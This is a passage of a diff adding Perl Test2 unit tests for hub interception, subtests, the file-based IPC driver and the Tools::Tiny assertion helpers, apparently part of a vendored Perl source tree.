@@ -0,0 +1,15 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+
+use Test2::Hub::Interceptor;
+
+my $one = Test2::Hub::Interceptor->new();
+
+ok($one->isa('Test2::Hub'), "inheritence");;
+
+my $e = exception { $one->terminate(55) };
+ok($e->isa('Test2::Hub::Interceptor::Terminator'), "exception type");
+like($$e, 'Label not found for "last T2_SUBTEST_WRAPPER"', "Could not find label");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub/Interceptor/Terminator.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub/Interceptor/Terminator.t
new file mode 100644
index 00000000000..2889aacf4d0
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub/Interceptor/Terminator.t
@@ -0,0 +1,9 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+
+use Test2::Hub::Interceptor::Terminator;
+
+ok($INC{'Test2/Hub/Interceptor/Terminator.pm'}, "loaded");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub/Subtest.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub/Subtest.t
new file mode 100644
index 00000000000..1f440ad3f65
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub/Subtest.t
@@ -0,0 +1,121 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+
+use Test2::Hub::Subtest;
+use Test2::Util qw/get_tid/;
+use Carp qw/croak/;
+
+my %TODO;
+
+sub def {
+ my ($func, @args) = @_;
+
+ my @caller = caller(0);
+
+ $TODO{$caller[0]} ||= [];
+ push @{$TODO{$caller[0]}} => [$func, \@args, \@caller];
+}
+
+sub do_def {
+ my $for = caller;
+ my $tests = delete $TODO{$for} or croak "No tests to run!";
+
+ for my $test (@$tests) {
+ my ($func, $args, $caller) = @$test;
+
+ my ($pkg, $file, $line) = @$caller;
+
+# Note: The '&' below is to bypass the prototype, which is important here.
+ eval <<" EOT" or die $@;
+package $pkg;
+# line $line "(eval in DeferredTests) $file"
+\&$func(\@\$args);
+1;
+ EOT
+ }
+}
+
+my $ran = 0;
+my $event;
+
+my $one = Test2::Hub::Subtest->new(
+ nested => 3,
+);
+
+ok($one->isa('Test2::Hub'), "inheritence");
+
+{
+ no warnings 'redefine';
+ local *Test2::Hub::process = sub { $ran++; (undef, $event) = @_; 'P!' };
+ use warnings;
+
+ my $ok = Test2::Event::Ok->new(
+ pass => 1,
+ name => 'blah',
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']),
+ );
+
+ def is => ($one->process($ok), 'P!', "processed");
+ def is => ($ran, 1, "ran the mocked process");
+ def is => ($event, $ok, "got our event");
+ def is => ($one->bailed_out, undef, "did not bail");
+
+ $ran = 0;
+ $event = undef;
+
+ my $bail = Test2::Event::Bail->new(
+ message => 'blah',
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']),
+ );
+
+ def is => ($one->process($bail), 'P!', "processed");
+ def is => ($ran, 1, "ran the mocked process");
+ def is => ($event, $bail, "got our event");
+}
+
+do_def;
+
+my $skip = Test2::Event::Plan->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__], pid => $$, tid => get_tid),
+ directive => 'SKIP',
+ reason => 'foo',
+);
+
+$ran = 0;
+T2_SUBTEST_WRAPPER: {
+ $ran++;
+ $one->terminate(100, $skip);
+ $ran++;
+}
+is($ran, 1, "did not get past the terminate");
+
+$ran = 0;
+T2_SUBTEST_WRAPPER: {
+ $ran++;
+ $one->send($skip);
+ $ran++;
+}
+is($ran, 1, "did not get past the terminate");
+
+$one->reset_state;
+$one->set_manual_skip_all(1);
+
+$ran = 0;
+T2_SUBTEST_WRAPPER: {
+ $ran++;
+ $one->terminate(100, $skip);
+ $ran++;
+}
+is($ran, 2, "did not automatically abort");
+
+$one->reset_state;
+$ran = 0;
+T2_SUBTEST_WRAPPER: {
+ $ran++;
+ $one->send($skip);
+ $ran++;
+}
+is($ran, 2, "did not automatically abort");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/IPC.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/IPC.t
new file mode 100644
index 00000000000..38be3b8f105
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/IPC.t
@@ -0,0 +1,21 @@
+use strict;
+use warnings;
+
+use Test2::IPC qw/cull/;
+use Test2::API qw/context test2_ipc_drivers test2_ipc intercept/;
+
+use Test2::Tools::Tiny;
+
+test2_ipc();
+
+is_deeply(
+ [test2_ipc_drivers()],
+ ['Test2::IPC::Driver::Files'],
+ "Default driver"
+);
+
+ok(__PACKAGE__->can('cull'), "Imported cull");
+
+ok(eval { intercept { Test2::IPC->import }; 1 }, "Can re-import Test2::IPC without error") or diag $@;
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/IPC/Driver.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/IPC/Driver.t
new file mode 100644
index 00000000000..d5ebbd5fd24
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/IPC/Driver.t
@@ -0,0 +1,60 @@
+use strict;
+use warnings;
+
+use Test2::IPC::Driver::Files;
+
+use Test2::Tools::Tiny;
+use Test2::API qw/context test2_ipc_drivers/;
+
+Test2::IPC::Driver::Files->import();
+Test2::IPC::Driver::Files->import();
+Test2::IPC::Driver::Files->import();
+
+is_deeply(
+ [test2_ipc_drivers()],
+ ['Test2::IPC::Driver::Files'],
+ "Driver not added multiple times"
+);
+
+for my $meth (qw/send cull add_hub drop_hub waiting is_viable/) {
+ my $one = Test2::IPC::Driver->new;
+ like(
+ exception { $one->$meth },
+ qr/'\Q$one\E' did not define the required method '$meth'/,
+ "Require override of method $meth"
+ );
+}
+
+SKIP: {
+ last SKIP if $] lt "5.008";
+tests abort => sub {
+ my $one = Test2::IPC::Driver->new(no_fatal => 1);
+ my ($err, $out) = ("", "");
+
+ {
+ local *STDERR;
+ local *STDOUT;
+ open(STDERR, '>', \$err);
+ open(STDOUT, '>', \$out);
+ $one->abort('foo');
+ }
+
+ is($err, "IPC Fatal Error: foo\n", "Got error");
+ is($out, "Bail out! IPC Fatal Error: foo\n", "got 'bail-out' on stdout");
+
+ ($err, $out) = ("", "");
+
+ {
+ local *STDERR;
+ local *STDOUT;
+ open(STDERR, '>', \$err);
+ open(STDOUT, '>', \$out);
+ $one->abort_trace('foo');
+ }
+
+ like($out, qr/Bail out! IPC Fatal Error: foo/, "got 'bail-out' on stdout");
+ like($err, qr/IPC Fatal Error: foo/, "Got error");
+};
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t
new file mode 100644
index 00000000000..8626b1fb654
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t
@@ -0,0 +1,540 @@
+use Test2::Tools::Tiny;
+use Test2::Util qw/get_tid USE_THREADS try ipc_separator/;
+use File::Temp qw/tempfile/;
+use File::Spec qw/catfile/;
+use List::Util qw/shuffle/;
+use strict;
+use warnings;
+
+if ($] lt "5.008") {
+ print "1..0 # SKIP Test cannot run on perls below 5.8.0\n";
+ exit 0;
+}
+
+sub simple_capture(&) {
+ my $code = shift;
+
+ my ($err, $out) = ("", "");
+
+ my ($ok, $e);
+ {
+ local *STDOUT;
+ local *STDERR;
+
+ ($ok, $e) = try {
+ open(STDOUT, '>', \$out) or die "Failed to open a temporary STDOUT: $!";
+ open(STDERR, '>', \$err) or die "Failed to open a temporary STDERR: $!";
+
+ $code->();
+ };
+ }
+
+ die $e unless $ok;
+
+ return {
+ STDOUT => $out,
+ STDERR => $err,
+ };
+}
+
+require Test2::IPC::Driver::Files;
+ok(my $ipc = Test2::IPC::Driver::Files->new, "Created an IPC instance");
+ok($ipc->isa('Test2::IPC::Driver::Files'), "Correct type");
+ok($ipc->isa('Test2::IPC::Driver'), "inheritence");
+
+ok(-d $ipc->tempdir, "created temp dir");
+is($ipc->pid, $$, "stored pid");
+is($ipc->tid, get_tid(), "stored the tid");
+
+my $hid = join ipc_separator, qw'12345 1 1';
+
+$ipc->add_hub($hid);
+my $hubfile = File::Spec->catfile($ipc->tempdir, "HUB" . ipc_separator . $hid);
+ok(-f $hubfile, "wrote hub file");
+if(ok(open(my $fh, '<', $hubfile), "opened hub file")) {
+ my @lines = <$fh>;
+ close($fh);
+ is_deeply(
+ \@lines,
+ [ "$$\n", get_tid() . "\n" ],
+ "Wrote pid and tid to hub file"
+ );
+}
+
+{
+ package Foo;
+ use base 'Test2::Event';
+}
+
+$ipc->send($hid, bless({ foo => 1 }, 'Foo'));
+$ipc->send($hid, bless({ bar => 1 }, 'Foo'));
+
+my $sep = ipc_separator;
+opendir(my $dh, $ipc->tempdir) || die "Could not open tempdir: !?";
+my @files = grep { $_ !~ m/^\.+$/ && $_ !~ m/^HUB${sep}$hid/ } readdir($dh);
+closedir($dh);
+is(@files, 2, "2 files added to the IPC directory");
+
+my @events = $ipc->cull($hid);
+is_deeply(
+ \@events,
+ [{ foo => 1 }, { bar => 1 }],
+ "Culled both events"
+);
+
+opendir($dh, $ipc->tempdir) || die "Could not open tempdir: !?";
+@files = grep { $_ !~ m/^\.+$/ && $_ !~ m/^HUB$sep$hid/ } readdir($dh);
+closedir($dh);
+is(@files, 0, "All files collected");
+
+$ipc->drop_hub($hid);
+ok(!-f $ipc->tempdir . '/' . $hid, "removed hub file");
+
+$ipc->send($hid, bless({global => 1}, 'Foo'), 'GLOBAL');
+my @got = $ipc->cull($hid);
+ok(@got == 0, "did not get our own global event");
+
+my $tmpdir = $ipc->tempdir;
+ok(-d $tmpdir, "still have temp dir");
+$ipc = undef;
+ok(!-d $tmpdir, "cleaned up temp dir");
+
+{
+ my $ipc = Test2::IPC::Driver::Files->new();
+
+ my $tmpdir = $ipc->tempdir;
+
+ my $ipc_thread_clone = bless {%$ipc}, 'Test2::IPC::Driver::Files';
+ $ipc_thread_clone->set_tid(100);
+ $ipc_thread_clone = undef;
+ ok(-d $tmpdir, "Directory not removed (different thread)");
+
+ my $ipc_fork_clone = bless {%$ipc}, 'Test2::IPC::Driver::Files';
+ $ipc_fork_clone->set_pid($$ + 10);
+ $ipc_fork_clone = undef;
+ ok(-d $tmpdir, "Directory not removed (different proc)");
+
+
+ $ipc_thread_clone = bless {%$ipc}, 'Test2::IPC::Driver::Files';
+ $ipc_thread_clone->set_tid(undef);
+ $ipc_thread_clone = undef;
+ ok(-d $tmpdir, "Directory not removed (no thread)");
+
+ $ipc_fork_clone = bless {%$ipc}, 'Test2::IPC::Driver::Files';
+ $ipc_fork_clone->set_pid(undef);
+ $ipc_fork_clone = undef;
+ ok(-d $tmpdir, "Directory not removed (no proc)");
+
+ $ipc = undef;
+ ok(!-d $tmpdir, "Directory removed");
+}
+
+{
+ no warnings qw/once redefine/;
+ local *Test2::IPC::Driver::Files::driver_abort = sub {};
+ local *Test2::IPC::Driver::Files::abort = sub {
+ my $self = shift;
+ local $self->{no_fatal} = 1;
+ local $self->{no_bail} = 1;
+ $self->Test2::IPC::Driver::abort(@_);
+ die 255;
+ };
+
+ my $tmpdir;
+ my @lines;
+ my $file = __FILE__;
+
+ my $out = simple_capture {
+ local $ENV{T2_KEEP_TEMPDIR} = 1;
+
+ my $ipc = Test2::IPC::Driver::Files->new();
+ $tmpdir = $ipc->tempdir;
+ $ipc->add_hub($hid);
+ eval { $ipc->add_hub($hid) }; push @lines => __LINE__;
+ $ipc->send($hid, bless({ foo => 1 }, 'Foo'));
+ $ipc->cull($hid);
+ $ipc->drop_hub($hid);
+ eval { $ipc->drop_hub($hid) }; push @lines => __LINE__;
+
+ # Make sure having a hub file sitting around does not throw things off
+ # in T2_KEEP_TEMPDIR
+ $ipc->add_hub($hid);
+ $ipc = undef;
+ 1;
+ };
+
+ my $cleanup = sub {
+ if (opendir(my $d, $tmpdir)) {
+ for my $f (readdir($d)) {
+ next if $f =~ m/^\.+$/;
+ my $file = File::Spec->catfile($tmpdir, $f);
+ next unless -f $file;
+ 1 while unlink $file;
+ }
+ closedir($d);
+ rmdir($tmpdir) or warn "Could not remove temp dir '$tmpdir': $!";
+ }
+ };
+ $cleanup->();
+
+ like($out->{STDERR}, qr/IPC Temp Dir: \Q$tmpdir\E/m, "Got temp dir path");
+ like($out->{STDERR}, qr/^# Not removing temp dir: \Q$tmpdir\E$/m, "Notice about not closing tempdir");
+
+ like($out->{STDERR}, qr/^IPC Fatal Error: File for hub '$hid' already exists/m, "Got message for duplicate hub");
+ like($out->{STDERR}, qr/^IPC Fatal Error: File for hub '$hid' does not exist/m, "Cannot remove hub twice");
+
+ $out = simple_capture {
+ my $ipc = Test2::IPC::Driver::Files->new();
+ $ipc->add_hub($hid);
+ my $trace = Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'foo']);
+ my $e = eval { $ipc->send($hid, bless({glob => \*ok, trace => $trace}, 'Foo')); 1 };
+ print STDERR $@ unless $e || $@ =~ m/^255/;
+ $ipc->drop_hub($hid);
+ };
+
+ like($out->{STDERR}, qr/IPC Fatal Error:/, "Got fatal error");
+ like($out->{STDERR}, qr/There was an error writing an event/, "Explanation");
+ like($out->{STDERR}, qr/Destination: $hid/, "Got dest");
+ like($out->{STDERR}, qr/Origin PID:\s+$$/, "Got pid");
+ like($out->{STDERR}, qr/Error: Can't store GLOB items/, "Got cause");
+
+ $out = simple_capture {
+ my $ipc = Test2::IPC::Driver::Files->new();
+ local $@;
+ eval { $ipc->send($hid, bless({ foo => 1 }, 'Foo')) };
+ print STDERR $@ unless $@ =~ m/^255/;
+ $ipc = undef;
+ };
+ like($out->{STDERR}, qr/IPC Fatal Error: hub '$hid' is not available, failed to send event!/, "Cannot send to missing hub");
+
+ $out = simple_capture {
+ my $ipc = Test2::IPC::Driver::Files->new();
+ $tmpdir = $ipc->tempdir;
+ $ipc->add_hub($hid);
+ $ipc->send($hid, bless({ foo => 1 }, 'Foo'));
+ local $@;
+ eval { $ipc->drop_hub($hid) };
+ print STDERR $@ unless $@ =~ m/^255/;
+ };
+ $cleanup->();
+ like($out->{STDERR}, qr/IPC Fatal Error: Not all files from hub '$hid' have been collected/, "Leftover files");
+ like($out->{STDERR}, qr/IPC Fatal Error: Leftover files in the directory \(.*\.ready\)/, "What file");
+
+ $out = simple_capture {
+ my $ipc = Test2::IPC::Driver::Files->new();
+ $ipc->add_hub($hid);
+
+ eval { $ipc->send($hid, { foo => 1 }) };
+ print STDERR $@ unless $@ =~ m/^255/;
+
+ eval { $ipc->send($hid, bless({ foo => 1 }, 'xxx')) };
+ print STDERR $@ unless $@ =~ m/^255/;
+ };
+ like($out->{STDERR}, qr/IPC Fatal Error: 'HASH\(.*\)' is not a blessed object/, "Cannot send unblessed objects");
+ like($out->{STDERR}, qr/IPC Fatal Error: 'xxx=HASH\(.*\)' is not an event object!/, "Cannot send non-event objects");
+
+
+ $ipc = Test2::IPC::Driver::Files->new();
+
+ my ($fh, $fn) = tempfile();
+ print $fh "\n";
+ close($fh);
+
+ Storable::store({}, $fn);
+ $out = simple_capture { eval { $ipc->read_event_file($fn) } };
+ like(
+ $out->{STDERR},
+ qr/IPC Fatal Error: Got an unblessed object: 'HASH\(.*\)'/,
+ "Events must actually be events (must be blessed)"
+ );
+
+ Storable::store(bless({}, 'Test2::Event::FakeEvent'), $fn);
+ $out = simple_capture { eval { $ipc->read_event_file($fn) } };
+ like(
+ $out->{STDERR},
+ qr{IPC Fatal Error: Event has unknown type \(Test2::Event::FakeEvent\), tried to load 'Test2/Event/FakeEvent\.pm' but failed: Can't locate Test2/Event/FakeEvent\.pm},
+ "Events must actually be events (not a real module)"
+ );
+
+ Storable::store(bless({}, 'Test2::API'), $fn);
+ $out = simple_capture { eval { $ipc->read_event_file($fn) } };
+ like(
+ $out->{STDERR},
+ qr{'Test2::API=HASH\(.*\)' is not a 'Test2::Event' object},
+ "Events must actually be events (not an event type)"
+ );
+
+ Storable::store(bless({}, 'Foo'), $fn);
+ $out = simple_capture {
+ local @INC;
+ push @INC => ('t/lib', 'lib');
+ eval { $ipc->read_event_file($fn) };
+ };
+ ok(!$out->{STDERR}, "no problem", $out->{STDERR});
+ ok(!$out->{STDOUT}, "no problem", $out->{STDOUT});
+
+ unlink($fn);
+}
+
+{
+ my $ipc = Test2::IPC::Driver::Files->new();
+ $ipc->add_hub($hid);
+ $ipc->send($hid, bless({global => 1}, 'Foo'), 'GLOBAL');
+ $ipc->set_globals({});
+ my @events = $ipc->cull($hid);
+ is_deeply(
+ \@events,
+ [ {global => 1} ],
+ "Got global event"
+ );
+
+ @events = $ipc->cull($hid);
+ ok(!@events, "Did not grab it again");
+
+ $ipc->set_globals({});
+ @events = $ipc->cull($hid);
+ is_deeply(
+ \@events,
+ [ {global => 1} ],
+ "Still there"
+ );
+
+ $ipc->drop_hub($hid);
+ $ipc = undef;
+}
+
+{
+ my @list = shuffle (
+ {global => 0, pid => 2, tid => 1, eid => 1},
+ {global => 0, pid => 2, tid => 1, eid => 2},
+ {global => 0, pid => 2, tid => 1, eid => 3},
+
+ {global => 1, pid => 1, tid => 1, eid => 1},
+ {global => 1, pid => 12, tid => 1, eid => 3},
+ {global => 1, pid => 11, tid => 1, eid => 2},
+
+ {global => 0, pid => 2, tid => 3, eid => 1},
+ {global => 0, pid => 2, tid => 3, eid => 10},
+ {global => 0, pid => 2, tid => 3, eid => 100},
+
+ {global => 0, pid => 5, tid => 3, eid => 2},
+ {global => 0, pid => 5, tid => 3, eid => 20},
+ {global => 0, pid => 5, tid => 3, eid => 200},
+ );
+
+ my @sorted;
+ {
+ package Test2::IPC::Driver::Files;
+ @sorted = sort cmp_events @list;
+ }
+
+ is_deeply(
+ \@sorted,
+ [
+ {global => 1, pid => 1, tid => 1, eid => 1},
+ {global => 1, pid => 11, tid => 1, eid => 2},
+ {global => 1, pid => 12, tid => 1, eid => 3},
+
+ {global => 0, pid => 2, tid => 1, eid => 1},
+ {global => 0, pid => 2, tid => 1, eid => 2},
+ {global => 0, pid => 2, tid => 1, eid => 3},
+
+ {global => 0, pid => 2, tid => 3, eid => 1},
+ {global => 0, pid => 2, tid => 3, eid => 10},
+ {global => 0, pid => 2, tid => 3, eid => 100},
+
+ {global => 0, pid => 5, tid => 3, eid => 2},
+ {global => 0, pid => 5, tid => 3, eid => 20},
+ {global => 0, pid => 5, tid => 3, eid => 200},
+ ],
+ "Sort by global, pid, tid and then eid"
+ );
+}
+
+{
+ my $ipc = 'Test2::IPC::Driver::Files';
+
+ is_deeply(
+ $ipc->parse_event_filename(join ipc_separator, qw'GLOBAL 123 456 789 Event Type Foo.ready.complete'),
+ {
+ ready => 1,
+ complete => 1,
+ global => 1,
+ type => "Event::Type::Foo",
+ hid => "GLOBAL",
+ pid => "123",
+ tid => "456",
+ eid => "789",
+ file => join ipc_separator, qw'GLOBAL 123 456 789 Event Type Foo',
+ },
+ "Parsed global complete"
+ );
+
+ is_deeply(
+ $ipc->parse_event_filename(join ipc_separator, qw'GLOBAL 123 456 789 Event Type Foo.ready'),
+ {
+ ready => 1,
+ complete => 0,
+ global => 1,
+ type => "Event::Type::Foo",
+ hid => "GLOBAL",
+ pid => "123",
+ tid => "456",
+ eid => "789",
+ file => join ipc_separator, qw'GLOBAL 123 456 789 Event Type Foo',
+ },
+ "Parsed global ready"
+ );
+
+ is_deeply(
+ $ipc->parse_event_filename(join ipc_separator, qw'GLOBAL 123 456 789 Event Type Foo'),
+ {
+ ready => 0,
+ complete => 0,
+ global => 1,
+ type => "Event::Type::Foo",
+ hid => "GLOBAL",
+ pid => "123",
+ tid => "456",
+ eid => "789",
+ file => join ipc_separator, qw'GLOBAL 123 456 789 Event Type Foo',
+ },
+ "Parsed global not ready"
+ );
+
+ is_deeply(
+ $ipc->parse_event_filename(join ipc_separator, qw'1 1 1 123 456 789 Event Type Foo.ready.complete'),
+ {
+ ready => 1,
+ complete => 1,
+ global => 0,
+ type => "Event::Type::Foo",
+ hid => "1${sep}1${sep}1",
+ pid => "123",
+ tid => "456",
+ eid => "789",
+ file => join ipc_separator, qw'1 1 1 123 456 789 Event Type Foo',
+ },
+ "Parsed event complete"
+ );
+
+ is_deeply(
+ $ipc->parse_event_filename(join ipc_separator, qw'1 2 3 123 456 789 Event Type Foo.ready'),
+ {
+ ready => 1,
+ complete => 0,
+ global => 0,
+ type => "Event::Type::Foo",
+ hid => "1${sep}2${sep}3",
+ pid => "123",
+ tid => "456",
+ eid => "789",
+ file => join ipc_separator, qw'1 2 3 123 456 789 Event Type Foo',
+ },
+ "Parsed event ready"
+ );
+
+ is_deeply(
+ $ipc->parse_event_filename(join ipc_separator, qw'3 2 11 123 456 789 Event'),
+ {
+ ready => 0,
+ complete => 0,
+ global => 0,
+ type => "Event",
+ hid => "3${sep}2${sep}11",
+ pid => "123",
+ tid => "456",
+ eid => "789",
+ file => join ipc_separator, qw'3 2 11 123 456 789 Event',
+ },
+ "Parsed event not ready"
+ );
+}
+
+{
+ my $ipc = Test2::IPC::Driver::Files->new();
+
+ my $hid = join ipc_separator, qw"1 1 1";
+
+ is_deeply(
+ $ipc->should_read_event($hid, join ipc_separator, qw"GLOBAL 123 456 789 Event Type Foo.ready.complete") ? 1 : 0,
+ 0,
+ "Do not read complete global"
+ );
+
+ is_deeply(
+ $ipc->should_read_event($hid, join ipc_separator, qw"GLOBAL 123 456 789 Event Type Foo.ready") ? 1 : 0,
+ 1,
+ "Should read ready global the first time"
+ );
+ is_deeply(
+ $ipc->should_read_event($hid, join ipc_separator, qw"GLOBAL 123 456 789 Event Type Foo.ready") ? 1 : 0,
+ 0,
+ "Should not read ready global again"
+ );
+
+ is_deeply(
+ $ipc->should_read_event($hid, join ipc_separator, qw"GLOBAL 123 456 789 Event Type Foo") ? 1 : 0,
+ 0,
+ "Should not read un-ready global"
+ );
+
+ is_deeply(
+ $ipc->should_read_event($hid, join ipc_separator, $hid, qw"123 456 789 Event Type Foo.ready.complete") ? 1 : 0,
+ 0,
+ "Do not read complete our hid"
+ );
+
+ is_deeply(
+ $ipc->should_read_event($hid, join ipc_separator, $hid, qw"123 456 789 Event Type Foo.ready") ? 1 : 0,
+ 1,
+ "Should read ready our hid"
+ );
+
+ is_deeply(
+ $ipc->should_read_event($hid, join ipc_separator, $hid, qw"123 456 789 Event Type Foo.ready") ? 1 : 0,
+ 1,
+ "Should read ready our hid (again, no duplicate checking)"
+ );
+
+ is_deeply(
+ $ipc->should_read_event($hid, join ipc_separator, $hid, qw"123 456 789 Event Type Foo") ? 1 : 0,
+ 0,
+ "Should not read un-ready our hid"
+ );
+
+ is_deeply(
+ $ipc->should_read_event($hid, join ipc_separator, qw"1 2 3 123 456 789 Event Type Foo.ready.complete") ? 1 : 0,
+ 0,
+ "Not ours - complete"
+ );
+
+ is_deeply(
+ $ipc->should_read_event($hid, join ipc_separator, qw"1 2 3 123 456 789 Event Type Foo.ready") ? 1 : 0,
+ 0,
+ "Not ours - ready"
+ );
+
+ is_deeply(
+ $ipc->should_read_event($hid, join ipc_separator, qw"1 2 3 123 456 789 Event Type Foo") ? 1 : 0,
+ 0,
+ "Not ours - unready"
+ );
+
+ my @got = $ipc->should_read_event($hid, join ipc_separator, $hid, qw"123 456 789 Event Type Foo");
+ ok(!@got, "return empty list for false");
+
+ @got = $ipc->should_read_event($hid, join ipc_separator, $hid, qw"123 456 789 Event Type Foo.ready");
+ is(@got, 1, "got 1 item on true");
+
+ like(delete $got[0]->{full_path}, qr{^.+\Q$hid\E${sep}123${sep}456${sep}789${sep}Event${sep}Type${sep}Foo\.ready$}, "Got full path");
+ is_deeply(
+ $got[0],
+ $ipc->parse_event_filename(join ipc_separator, $hid, qw"123 456 789 Event Type Foo.ready"),
+ "Apart from full_path we get entire parsed filename"
+ );
+
+ $ipc = undef;
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t
new file mode 100644
index 00000000000..08f87edb6ee
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t
@@ -0,0 +1,210 @@
+use strict;
+use warnings;
+
+use Test2::IPC;
+use Test2::Tools::Tiny;
+
+use Test2::API qw/context intercept test2_stack/;
+
+ok(__PACKAGE__->can($_), "imported '$_\()'") for qw{
+ ok
+ is isnt
+ like unlike
+ diag note
+
+ is_deeply
+
+ warnings
+ exception
+
+ plan
+ skip_all
+ done_testing
+};
+
+ok(1, "'ok' Test");
+is("foo", "foo", "'is' test");
+is(undef, undef, "'is' undef test");
+isnt("foo", "bar", "'isnt' test");
+isnt("foo", undef, "'isnt' undef test 1");
+isnt(undef, "foo", "'isnt' undef test 2");
+like("foo", qr/o/, "'like' test");
+unlike("foo", qr/a/, "'unlike' test");
+
+note("Testing Note");
+
+my $str = "abc";
+is_deeply(
+ { a => 1, b => 2, c => { ref => \$str, obj => bless({x => 1}, 'XXX'), array => [1, 2, 3]}},
+ { a => 1, b => 2, c => { ref => \$str, obj => {x => 1}, array => [1, 2, 3]}},
+ "'is_deeply' test"
+);
+
+is_deeply(
+ warnings { warn "aaa\n"; warn "bbb\n" },
+ [ "aaa\n", "bbb\n" ],
+ "Got warnings"
+);
+
+is_deeply(
+ warnings { 1 },
+ [],
+ "no warnings"
+);
+
+is(exception { die "foo\n" }, "foo\n", "got exception");
+is(exception { 1 }, undef, "no exception");
+
+my $main_events = intercept {
+ plan 8;
+
+ ok(0, "'ok' Test");
+ is("foo", "bar", "'is' test");
+ isnt("foo", "foo", "'isnt' test");
+ like("foo", qr/a/, "'like' test");
+ unlike("foo", qr/o/, "'unlike' test");
+
+ is_deeply(
+ { a => 1, b => 2, c => {}},
+ { a => 1, b => 2, c => []},
+ "'is_deeply' test"
+ );
+};
+
+my $other_events = intercept {
+ diag("Testing Diag");
+ note("Testing Note");
+};
+
+my ($plan, $ok, $is, $isnt, $like, $unlike, $is_deeply) = grep {!$_->isa('Test2::Event::Diag')} @$main_events;
+my ($diag, $note) = @$other_events;
+
+ok($plan->isa('Test2::Event::Plan'), "got plan");
+is($plan->max, 8, "planned for 8 oks");
+
+ok($ok->isa('Test2::Event::Fail'), "got 'ok' result");
+is($ok->facets->{assert}->pass, 0, "'ok' test failed");
+
+ok($is->isa('Test2::Event::Fail'), "got 'is' result");
+is($ok->facets->{assert}->pass, 0, "test failed");
+
+ok($isnt->isa('Test2::Event::Fail'), "got 'isnt' result");
+is($ok->facets->{assert}->pass, 0, "test failed");
+
+ok($like->isa('Test2::Event::Fail'), "got 'like' result");
+is($ok->facets->{assert}->pass, 0, "test failed");
+
+ok($unlike->isa('Test2::Event::Fail'), "got 'unlike' result");
+is($ok->facets->{assert}->pass, 0, "test failed");
+
+ok($is_deeply->isa('Test2::Event::Fail'), "got 'is_deeply' result");
+is($ok->facets->{assert}->pass, 0, "test failed");
+
+ok($diag->isa('Test2::Event::Diag'), "got 'diag' result");
+is($diag->message, "Testing Diag", "got diag message");
+
+ok($note->isa('Test2::Event::Note'), "got 'note' result");
+is($note->message, "Testing Note", "got note message");
+
+my $events = intercept {
+ skip_all 'because';
+ ok(0, "should not see me");
+ die "should not happen";
+};
+
+is(@$events, 1, "1 event");
+ok($events->[0]->isa('Test2::Event::Plan'), "got plan");
+is($events->[0]->directive, 'SKIP', "plan is skip");
+is($events->[0]->reason, 'because', "skip reason");
+
+$events = intercept {
+ is(undef, "");
+ is("", undef);
+
+ isnt(undef, undef);
+
+ like(undef, qr//);
+ unlike(undef, qr//);
+};
+
+@$events = grep {!$_->isa('Test2::Event::Diag')} @$events;
+is(@$events, 5, "5 events");
+ok(!$_->facets->{assert}->pass, "undef test - should not pass") for @$events;
+
+sub tool { context() };
+
+my %params;
+my $ctx = context(level => -1);
+my $ictx;
+$events = intercept {
+ %params = @_;
+
+ $ictx = tool();
+ $ictx->ok(1, 'pass');
+ $ictx->ok(0, 'fail');
+ my $trace = Test2::EventFacet::Trace->new(
+ frame => [ __PACKAGE__, __FILE__, __LINE__],
+ );
+ $ictx->hub->finalize($trace, 1);
+};
+
+@$events = grep {!$_->isa('Test2::Event::Diag')} @$events;
+
+is_deeply(
+ \%params,
+ {
+ context => { %$ctx, _is_canon => undef, _is_spawn => undef, _aborted => undef },
+ hub => $ictx->hub,
+ },
+ "Passed in some useful params"
+);
+
+ok($ctx != $ictx, "Different context inside intercept");
+
+is(@$events, 3, "got 3 events");
+
+$ctx->release;
+$ictx->release;
+
+# Test that a bail-out in an intercept does not exit.
+$events = intercept {
+ $ictx = tool();
+ $ictx->bail("The world ends");
+ $ictx->ok(0, "Should not see this");
+};
+
+is(@$events, 1, "got 1 event");
+ok($events->[0]->isa('Test2::Event::Bail'), "got the bail");
+
+$events = intercept {
+ $ictx = tool();
+};
+
+$ictx->release;
+
+like(
+ exception { intercept { die 'foo' } },
+ qr/foo/,
+ "Exception was propogated"
+);
+
+$events = intercept {
+ test2_stack()->top->set_no_ending(0);
+ ok(1);
+};
+
+is(@$events, 2, "2 events");
+ok($events->[0]->isa('Test2::Event::Pass'), "got a pass");
+ok($events->[1]->isa('Test2::Event::Plan'), "finalize was called");
+
